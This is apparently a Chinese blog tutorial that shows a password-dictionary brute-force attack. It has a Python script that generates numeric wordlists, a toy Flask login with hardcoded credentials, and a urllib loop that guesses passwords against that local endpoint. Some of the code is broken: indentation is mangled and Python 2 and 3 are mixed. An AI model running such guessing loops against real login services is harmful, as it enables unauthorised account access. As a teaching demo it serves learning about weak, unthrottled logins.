Python - 自導(dǎo)自演 密碼字典暴力破解

破解.jpg

簡(jiǎn)介

  • 任何東西都是雙面的迹炼,包括程序砸彬。(攻擊方與防御方,相當(dāng)于矛與盾)
  • 密碼字典

所謂的密碼字典,主要是配合密碼破譯軟件所使用砂碉,密碼字典里包括許多人們習(xí)慣性設(shè)置的密碼蛀蜜,這樣可以提高密碼破譯軟件的密碼破譯成功率和命中率呀癣,縮短密碼破譯的時(shí)間豺旬,當(dāng)然怯邪,如果一個(gè)人密碼設(shè)置沒有規(guī)律或很復(fù)雜港柜,未包含在密碼字典里悬而,這個(gè)字典就沒有用了串稀,甚至?xí)娱L(zhǎng)密碼破譯所需要的時(shí)間

  • 暴力破解(窮舉法)

窮舉法的基本思想是根據(jù)題目的部分條件確定答案的大致范圍峦朗,并在此范圍內(nèi)對(duì)所有可能的情況逐一驗(yàn)證份乒,直到全部情況驗(yàn)證完畢杀怠。若某個(gè)情況驗(yàn)證符合題目的全部條件椰憋,則為本問題的一個(gè)解;若全部情況驗(yàn)證后都不符合題目的全部條件赔退,則本題無解橙依。窮舉法也稱為枚舉法。

  • 我們這里就是采用 密碼字典 來做例子硕旗。

文章能教會(huì)我們什么呢窗骑?

  • 本文就是教大家如何使用 密碼字典 來破解一個(gè)沒有加驗(yàn)證碼的登錄接口。

第一步(生成密碼字典文件)

  • 我這里使用的是 Python 來生成的漆枚。

  • 先建立一個(gè) .text 的文件
    cd xxx(文件夾路徑)
    vi pass.text

  • Python 中的 string 可以輸出所有的字符
    import string
    print(string.printable)
    輸出為:0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[]^_`{|}~
    我們這里實(shí)驗(yàn)就使用 所有數(shù)字 組成的集合了创译。

  • 這里我們還用到了 itertools 如果想了解它 請(qǐng)點(diǎn)擊我

  • 創(chuàng)建一個(gè) .py 文件 。把下列代碼 copy 進(jìn)去

import sys
import string
import itertools

  def get_strings():
    chars = string.printable[:10]
    strings = []
    for i in xrange(min, max + 1):
        strings.append((itertools.product(chars, repeat=i),))
    return itertools.chain(*strings)

  def make_dict():
    f = open(file, 'a')
    for x in list_str:
        for y in x:
            f.write("".join(y))
            f.write('\n')
    f.close()
    print()
    'Done'

  while True:
    if len(sys.argv) == 4:
        try:
            min = int(sys.argv[1])
            max = int(sys.argv[2])
        except:
            print()
            "wrong"
            sys.exit(0)
        if min <= max:
            list_str = get_strings()
            file = sys.argv[3]
            make_dict()
            sys.exit(0)  
  • 然后通過下列代碼生成密碼字典
    python xx.py 6(這個(gè)是最短長(zhǎng)度) 6(這個(gè)是最長(zhǎng)長(zhǎng)度) .text文件路徑(存儲(chǔ)路徑)
    成功后如圖所示


    密碼字典.png

第二步 (編寫登錄接口)

  • 上一篇文章講過 如何編寫接口了墙基,不懂的可以再去看下软族。
  • 我們?cè)谥暗幕A(chǔ)上加一步驗(yàn)證(這里就省略了和數(shù)據(jù)庫的交互了,而是直接寫一個(gè)硬編碼)
  • 代碼如下
 from flask import Flask
from flask import request
from flask import redirect
from flask import current_app

  app = Flask(__name__)

  @app.route('/user/login',methods=['GET'])
  def start():

    // flask 獲取 POST 參數(shù)
    // print(request.form['yes'])
    // print(request.form['hai'])
   
    //flask獲取 GET 參數(shù)
    username = request.args.get('username')
    passworld = request.args.get('password')

    if username == 'w123':
    if passworld == '000456':
      return 'ok'
    else:
      return 'error'
    else:
     return'error'

    if __name__ == '__main__':
    app.run()

可以看到上述代碼 賬戶名:w123 密碼 000456
邏輯 就是 賬戶密碼正確 輸出ok 反之error

第三步 (破解)

  • 這里我們使用 Python 的 urllib 模塊來模擬 請(qǐng)求
  • 具體代碼如下:
import urllib
import urllib.request

  f=open("pass.text")
while 1:
    pwd = f.readline().strip()
    if not pwd:
        print('字典已比對(duì)完残制。')
        break

    data = {}

    data['passworld'] = pwd
    data['username'] = 'w123'

    url_parame = urllib.parse.urlencode(data)

    url = "http://127.0.0.1:5000/user/login?"

    all_url = url + url_parame

    data = urllib.request.urlopen(all_url).read()

    record = data.decode('UTF-8')

    if record == 'ok':
        print('破解出來了立砸,密碼為',pwd)
        break
    else:
        print('error')

附上一張成功的圖片


破解成功.png

到這里就算是OK了,這只是簡(jiǎn)單的教程初茶。

這里涉及的只是沒有加驗(yàn)證碼的接口颗祝,假如涉及到接口有驗(yàn)證以及有次數(shù)限制,那就沒辦法了纺蛆。

喜歡就請(qǐng)點(diǎn)個(gè)喜歡吧M驴!桥氏!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市猛铅,隨后出現(xiàn)的幾起案子字支,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,311評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件堕伪,死亡現(xiàn)場(chǎng)離奇詭異揖庄,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)欠雌,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,339評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門蹄梢,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人富俄,你說我怎么就攤上這事禁炒。” “怎么了霍比?”我有些...
    開封第一講書人閱讀 152,671評(píng)論 0 342
  • 文/不壞的土叔 我叫張陵幕袱,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我悠瞬,道長(zhǎng)们豌,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,252評(píng)論 1 279
  • 正文 為了忘掉前任浅妆,我火速辦了婚禮望迎,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘凌外。我一直安慰自己辩尊,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,253評(píng)論 5 371
  • 文/花漫 我一把揭開白布趴乡。 她就那樣靜靜地躺著对省,像睡著了一般。 火紅的嫁衣襯著肌膚如雪晾捏。 梳的紋絲不亂的頭發(fā)上蒿涎,一...
    開封第一講書人閱讀 49,031評(píng)論 1 285
  • 那天,我揣著相機(jī)與錄音惦辛,去河邊找鬼劳秋。 笑死,一個(gè)胖子當(dāng)著我的面吹牛胖齐,可吹牛的內(nèi)容都是我干的玻淑。 我是一名探鬼主播,決...
    沈念sama閱讀 38,340評(píng)論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼呀伙,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼补履!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起剿另,我...
    開封第一講書人閱讀 36,973評(píng)論 0 259
  • 序言:老撾萬榮一對(duì)情侶失蹤箫锤,失蹤者是張志新(化名)和其女友劉穎贬蛙,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體谚攒,經(jīng)...
    沈念sama閱讀 43,466評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡阳准,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,937評(píng)論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了馏臭。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片野蝇。...
    茶點(diǎn)故事閱讀 38,039評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖括儒,靈堂內(nèi)的尸體忽然破棺而出绕沈,到底是詐尸還是另有隱情,我是刑警寧澤塑崖,帶...
    沈念sama閱讀 33,701評(píng)論 4 323
  • 正文 年R本政府宣布七冲,位于F島的核電站,受9級(jí)特大地震影響规婆,放射性物質(zhì)發(fā)生泄漏澜躺。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,254評(píng)論 3 307
  • 文/蒙蒙 一抒蚜、第九天 我趴在偏房一處隱蔽的房頂上張望掘鄙。 院中可真熱鬧,春花似錦嗡髓、人聲如沸操漠。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,259評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽浊伙。三九已至,卻和暖如春长捧,著一層夾襖步出監(jiān)牢的瞬間嚣鄙,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評(píng)論 1 262
  • 我被黑心中介騙來泰國打工串结, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留哑子,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,497評(píng)論 2 354
  • 正文 我出身青樓肌割,卻偏偏與公主長(zhǎng)得像卧蜓,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子把敞,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,786評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容

  • 22年12月更新:個(gè)人網(wǎng)站關(guān)停弥奸,如果仍舊對(duì)舊教程有興趣參考 Github 的markdown內(nèi)容[https://...
    tangyefei閱讀 35,160評(píng)論 22 257
  • 聲明:本文講解的實(shí)戰(zhàn)內(nèi)容,均僅用于學(xué)習(xí)交流奋早,請(qǐng)勿用于任何商業(yè)用途其爵! 一冒冬、前言 強(qiáng)烈建議:請(qǐng)?jiān)陔娔X的陪同下伸蚯,閱讀本文...
    Bruce_Szh閱讀 12,679評(píng)論 6 28
  • 本學(xué)習(xí)筆記針對(duì)有其他語言基礎(chǔ)的情況下記錄的, 主要記錄一些與其他語言不一樣的地方, 使用于快速學(xué)習(xí). 常用指令 p...
    GrayLand閱讀 1,045評(píng)論 0 3
  • ¥開啟¥ 【iAPP實(shí)現(xiàn)進(jìn)入界面執(zhí)行逐一顯】 〖2017-08-25 15:22:14〗 《//首先開一個(gè)線程摩渺,因...
    小菜c閱讀 6,358評(píng)論 0 17
  • 可以看我的博客 lmwen.top 或者訂閱我的公眾號(hào) 簡(jiǎn)介有稍微接觸python的人就會(huì)知道,python中...
    ayuLiao閱讀 3,094評(píng)論 1 5